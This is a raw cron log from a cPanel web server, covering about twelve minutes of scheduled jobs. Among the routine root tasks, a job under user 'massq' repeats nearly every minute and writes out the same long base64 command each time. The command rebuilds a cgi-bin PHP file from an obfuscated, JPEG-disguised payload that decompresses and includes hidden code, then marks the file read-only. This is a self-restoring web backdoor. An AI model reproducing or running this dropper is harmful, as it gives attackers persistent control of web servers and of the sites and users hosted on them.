Sep 10 01:38:01 server CROND[29367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:38:01 server CROND[29368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:38:01 server CROND[29369]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:39:01 server CROND[29747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:39:01 server CROND[29749]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:39:01 server CROND[29750]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 01:39:01 server CROND[29748]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:40:01 server CROND[30152]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 01:40:01 server CROND[30154]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 01:40:01 server CROND[30153]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 01:40:01 server CROND[30155]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:40:01 server CROND[30159]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 01:40:01 server CROND[30158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:40:01 server CROND[30156]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:40:01 server CROND[30161]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 01:41:01 server CROND[30993]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:41:01 server CROND[30994]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:41:01 server CROND[30995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:42:01 server CROND[31384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:42:01 server CROND[31386]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 01:42:01 server CROND[31385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:42:01 server CROND[31387]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:43:01 server CROND[31911]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:43:01 server CROND[31910]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:43:01 server CROND[31912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:44:01 server CROND[32289]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:44:01 server CROND[32290]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:44:01 server CROND[32291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:45:01 server CROND[32686]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 01:45:01 server CROND[32688]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 01:45:01 server CROND[32689]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 01:45:01 server CROND[32699]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:45:01 server CROND[32700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:45:01 server CROND[32701]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:45:01 server CROND[32703]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 01:46:01 server CROND[1150]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:46:01 server CROND[1149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:46:01 server CROND[1151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:47:01 server CROND[1581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:47:01 server CROND[1582]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:47:01 server CROND[1583]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:48:01 server CROND[2090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:48:01 server CROND[2091]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:48:01 server CROND[2092]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:49:01 server CROND[2469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 01:49:01 server CROND[2470]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 01:49:01 server CROND[2471]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:50:01 server CROND[2891]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 01:50:01 server CROND[2892]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 01:50:01 server CROND[2893]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 01:50:02 server CROND[2909]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
